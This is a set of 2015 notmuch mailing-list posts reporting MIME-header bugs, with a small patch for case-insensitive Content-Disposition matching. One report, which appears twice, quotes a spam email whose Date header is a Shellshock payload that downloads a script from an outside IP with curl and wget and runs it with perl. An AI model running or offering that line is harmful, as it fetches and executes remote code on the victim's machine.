Re: [WIP] tests: add test for case insensitive Content-Disposition

[Johannes Schauer]

Hi,

Quoting Jani Nikula (2015-10-18 13:58:01)
> On Tue, 06 Oct 2015, David Bremner  wrote:
> > These broken now, but will be fixed in the next commit
> > ---
> >
> > The first test is OK, but the second one currently fails. It isn't
> > clear to me if content dispositions permit RFC2047 style
> > encoding. GMime does not decode them automatically (hence this test is
> > failing). What is true is that the RFC states "Unrecognized
> > disposition types should be treated as `attachment'". So maybe the
> > logic in patch 1 should be reversed to check != 'inline'.
> 
> > +Content-Type: text/plain
> > +Content-Disposition: 
> > =?utf-8?b?YXR0YWNobWVudDsgZmlsZW5hbWU9ImJlZ3LDvMOfdW5n?=
> > + =?utf-8?b?LnBkZiI=?=
> > +Content-Description: this is a very exciting file
> 
> Did you handcraft the example, or did some program actually produce
> this? I don't think this is [RFC 2231] compliant. IIUC only the content
> disposition parameter values may contain encoded words with
> charset/language specification. Like this,
> 
> Content-Disposition: attachment; filename="=?utf-8?B?cMOkw6RtaWVz?="

I'm using alot as my MUA and that produced the Content-Disposition line I
quoted.

Thanks!

cheers, josch


signature.asc
Description: signature
___
notmuch mailing list
notmuch@notmuchmail.org
http://notmuchmail.org/mailman/listinfo/notmuch

Re: [bug] notmuch requires Content-Disposition mime header value to be lower case

[Johannes Schauer]

Hi,

Quoting David Bremner (2015-09-18 14:03:20)
> I'd recommend making your own new test, rather than modifying existing
> ones to test multiple things.  I'd also recommend using json / sexp
> output for your tests, since the ad-hoc text format is kindof
> semi-deprecated.

can you take care of that? My goal was actually just to report this bug, not to
spend more time to develop a proper patch for it :)

Also, a related problem occurs when the Content-Disposition header contains
UTF8 characters, in which case the header value gets encoded. Apparently
notmuch does not attempt to decode it. Example mime header:

--===7161366892858136962==
Content-Type: application/pdf
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: =?utf-8?b?YXR0YWNobWVudDsgZmlsZW5hbWU9ImJlZ3LDvMOfdW5n?=
 =?utf-8?b?LnBkZiI=?=



Thanks!

cheers, josch


signature.asc
Description: signature
___
notmuch mailing list
notmuch@notmuchmail.org
http://notmuchmail.org/mailman/listinfo/notmuch

Re: [bug] notmuch requires Content-Disposition mime header value to be lower case

[Johannes Schauer]

Hi,

Quoting Johannes Schauer (2015-09-17 10:36:12)
> Quoting Johannes Schauer (2015-09-17 09:00:56)
> > it seems that notmuch does not put the attachment tag if:
> > 
> > Content-Disposition: ATTACHMENT; FILENAME=flyer-vk-web.pdf
> > 
> > but it works for:
> > 
> > Content-Disposition: attachment; filename=flyer-vk-web.pdf
> > 
> > But rfc1341 says that the value should be treated as case insensitive 
> > (section 2).
> > 
> > I got an email with upper case Content-Disposition value in an email with
> > "User-Agent: Alpine 2.11 (LSU 23 2013-08-11)".
> > 
> > Please CC me as I'm not subscribed - thanks!
> 
> the fix seems to be to:
> 
> --- a/lib/index.cc
> +++ b/lib/index.cc
> @@ -377,7 +377,7 @@ _index_mime_part (notmuch_message_t *message,
>  
>  disposition = g_mime_object_get_content_disposition (part);
>  if (disposition &&
> -   strcmp (disposition->disposition, GMIME_DISPOSITION_ATTACHMENT) == 0)
> +   strcasecmp (disposition->disposition, GMIME_DISPOSITION_ATTACHMENT) 
> == 0)
>  {
> const char *filename = g_mime_part_get_filename (GMIME_PART (part));
>  
> 
> but then I saw that this was already done in your git.

whoops, I confused my local git repositories.

So the attached git format patch fixes the issue and adds a test case for this.

Funnily though there seem to be some weird newline differences that I cannot
explain, so I left them for somebody else to fix.

Thanks!

cheers, josch
From 8187076ab1ee9ce640cd15e9a214d49039b0f197 Mon Sep 17 00:00:00 2001
From: Johannes 'josch' Schauer <jo...@mister-muffin.de>
Date: Thu, 17 Sep 2015 10:39:29 +0200
Subject: [PATCH] allow case-insensitive content-disposition values

---
 lib/index.cc   | 2 +-
 test/T190-multipart.sh | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/lib/index.cc b/lib/index.cc
index e81aa81..34bab4e 100644
--- a/lib/index.cc
+++ b/lib/index.cc
@@ -377,7 +377,7 @@ _index_mime_part (notmuch_message_t *message,
 
 disposition = g_mime_object_get_content_disposition (part);
 if (disposition &&
-	strcmp (disposition->disposition, GMIME_DISPOSITION_ATTACHMENT) == 0)
+	strcasecmp (disposition->disposition, GMIME_DISPOSITION_ATTACHMENT) == 0)
 {
 	const char *filename = g_mime_part_get_filename (GMIME_PART (part));
 
diff --git a/test/T190-multipart.sh b/test/T190-multipart.sh
index 7c4c9f7..f16cc90 100755
--- a/test/T190-multipart.sh
+++ b/test/T190-multipart.sh
@@ -48,7 +48,7 @@ cat embedded_message >> ${MAIL_DIR}/multipart
 cat <> ${MAIL_DIR}/multipart
 
 --=-=-=
-Content-Disposition: attachment; filename=attachment
+Content-Disposition: ATTACHMENT; FILENAME=attachment
 
 This is a text attachment.
 
@@ -487,7 +487,7 @@ This is an embedded message, with a multipart/alternative part.
 --==-=-==--
 
 --=-=-=
-Content-Disposition: attachment; filename=attachment
+Content-Disposition: ATTACHMENT; FILENAME=attachment
 
 This is a text attachment.
 
-- 
2.5.1



signature.asc
Description: signature
___
notmuch mailing list
notmuch@notmuchmail.org
http://notmuchmail.org/mailman/listinfo/notmuch

bug: notmuch cannot handle invalid Date fields

[Johannes Schauer]

Hi,

Quoting Tomi Ollila (2015-04-22 15:37:15)
> What do you mean by that datetime cannot handle dates before 1900 ?
> 
> :  $ python
> :  Python 2.7.6 (default, Mar 22 2014, 22:59:56)
> :  ...
> :  >>> datetime.datetime.strptime('1799-11', '%Y-%m')
> :  datetime.datetime(1799, 11, 1, 0, 0)
> :  >>> x=datetime.datetime.strptime('1799-11', '%Y-%m')
> :  >>> x.isoformat()
> :  '1799-11-01T00:00:00'

from the docs:

"The exact range of years for which strftime() works also varies across
platforms. Regardless of platform, years before 1900 cannot be used."

or:

$ python
Python 2.7.9 (default, Dec 11 2014, 08:58:12) 
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import datetime
>>> x=datetime.datetime.strptime('1799-11', '%Y-%m')
>>> x.strftime("%P")
Traceback (most recent call last):
  File "", line 1, in 
ValueError: year=1799 is before 1900; the datetime strftime() methods require 
year >= 1900


cheers, josch
-- next part --
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 819 bytes
Desc: signature
URL: 

bug: notmuch cannot handle invalid Date fields

[Johannes Schauer]

Hi,

I recently received an email with the following date field (the value of all
other headers is the same):

Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 
178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 
178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;

When doing `notmuch search lwp-download` I get:

thread:0001ea6b   1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tmp 
;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 
178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; 
(inbox unread)

You can see that the date is 1899-12-31 which is wrong.

This is annoying because the python module datetime which is for example used
by the notmuch client alot cannot handle dates before the year 1900 and will
thus never show this email in its thread view but instead display an exception
every time the view is refreshed.

It would be great if an invalid date could either somehow default to a nil
value or be a date that is 1900 or later.

Thanks!

cheers, josch
-- next part --
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 819 bytes
Desc: signature
URL: 

Re: bug: notmuch cannot handle invalid Date fields

[Johannes Schauer]

Hi,

Quoting Tomi Ollila (2015-04-22 15:37:15)
 What do you mean by that datetime cannot handle dates before 1900 ?
 
 :  $ python
 :  Python 2.7.6 (default, Mar 22 2014, 22:59:56)
 :  ...
 :   datetime.datetime.strptime('1799-11', '%Y-%m')
 :  datetime.datetime(1799, 11, 1, 0, 0)
 :   x=datetime.datetime.strptime('1799-11', '%Y-%m')
 :   x.isoformat()
 :  '1799-11-01T00:00:00'

from the docs:

The exact range of years for which strftime() works also varies across
platforms. Regardless of platform, years before 1900 cannot be used.

or:

$ python
Python 2.7.9 (default, Dec 11 2014, 08:58:12) 
[GCC 4.9.2] on linux2
Type help, copyright, credits or license for more information.
 import datetime
 x=datetime.datetime.strptime('1799-11', '%Y-%m')
 x.strftime(%P)
Traceback (most recent call last):
  File stdin, line 1, in module
ValueError: year=1799 is before 1900; the datetime strftime() methods require 
year = 1900


cheers, josch


signature.asc
Description: signature
___
notmuch mailing list
notmuch@notmuchmail.org
http://notmuchmail.org/mailman/listinfo/notmuch

bug: notmuch cannot handle invalid Date fields

[Johannes Schauer]

Hi,

I recently received an email with the following date field (the value of all
other headers is the same):

Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 
178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 
178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' ;

When doing `notmuch search lwp-download` I get:

thread:0001ea6b   1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tmp 
;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 
178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' ; 
(inbox unread)

You can see that the date is 1899-12-31 which is wrong.

This is annoying because the python module datetime which is for example used
by the notmuch client alot cannot handle dates before the year 1900 and will
thus never show this email in its thread view but instead display an exception
every time the view is refreshed.

It would be great if an invalid date could either somehow default to a nil
value or be a date that is 1900 or later.

Thanks!

cheers, josch


signature.asc
Description: signature
___
notmuch mailing list
notmuch@notmuchmail.org
http://notmuchmail.org/mailman/listinfo/notmuch

attachment with missing Content-Disposition

[Johannes Schauer]

Hi,

I recently received a multipart email with one of the parts being a pdf but the
part was not marked with "Content-Disposition: attachment". This let to notmuch
not adding tag:attachment to it.

The sender assured me that he used Outlook 2013 but I can't reproduce the
problem myself as I dont have microsoft products at hand. But if Outlook 2013
indeed adds attachments without setting "Content-Disposition: attachment", then
maybe the problem of notmuch not recognizing them as such is more severe?

The question is also what to do about it and how to detect attachments of this
kind. Apparently Thunderbird detects attachments that dont say
"Content-Disposition: attachment" but I did not try to figure out what its
heuristic is. Also the microsoft exchange server web client is able to figure
out that this part is supposed to be an attachment. What do other MUAs do?

So how to create a good heuristic? Using the Content-Type? In my case, the
supposed attachment was "application/octet-stream" for which it is probably
unambiguous that it is an attachment and not inline?

Alternatively, how about making attachment detection configurable so that
everybody is free to decide himself what he wants to be treated as attachment?

cheers, josch